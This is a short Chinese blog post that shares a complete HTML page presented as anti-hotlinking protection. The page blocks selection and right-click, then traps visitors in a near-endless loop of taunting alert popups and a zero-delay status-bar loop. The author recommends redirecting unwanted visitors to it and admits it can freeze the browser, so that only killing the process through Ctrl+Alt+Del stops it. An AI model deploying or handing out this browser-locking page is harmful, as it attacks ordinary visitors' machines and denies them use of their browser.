就是影视/音乐站用的最普遍的防盗代码,以前自己发过,可惜BLOG数据丢了将近1个月的,恰巧这篇文章丢了。多亏了百度快照,这次真的要感谢百度了,否则不知道哪天才搜到。
<html>
<head>
<title>【盗连=找死!】【小偷=找死!】</title>
</head>
<script language="javascript1.2">
//Disable select-text script (IE4+, NS6+)- By Small
function disableselect(e){
return false
}
function reEnable(){
return true
}
//if IE4+
document.onselectstart=new Function ("return false")
//if NS6
if (window.sidebar){
document.onmousedown=disableselect
document.onclick=reEnable
}
</script>
<body bgcolor="#000000" scroll="no" marginwidth="0" leftmargin="0" topmargin="0" oncontextmenu="window.event.returnValue=false" ondragstart="window.event.returnValue=false" onselectstart="event.returnValue=false">
<SCRIPT language=javascript>
<!--
var state=0
window.resizeTo(400,500);
window.moveTo((screen.width-400)/2, (screen.height-500)/2);
//-->
</SCRIPT>
<SCRIPT language=javascript>
<!--
if(window.name!="try_play"){
var i=1;while(i<=800000000000000000){
window.alert("【小子,强行结束吧!不要怪我哦,只能愿你!】");
i=i+1;}window.close();}
//-->
</SCRIPT>
<SCRIPT language=javascript>kstatus();
function kstatus(){
self.status="到这来想干什么?";
setTimeout("kstatus()",0);
}</SCRIPT>
</body>
</html>
访客访问不应该访问的页面,可以设置转向到这个页面,效果就是不断的弹出对话框,Mathon 浏览器 “ctrl+鼠标左键”点弹出对话框可以制止,不过好像浏览器会死掉。。而没有ctrl 阻止弹对话框功能的浏览器,只能ctrl+alt+del 结束程序,alt+F4 是没用的。 比较毒`
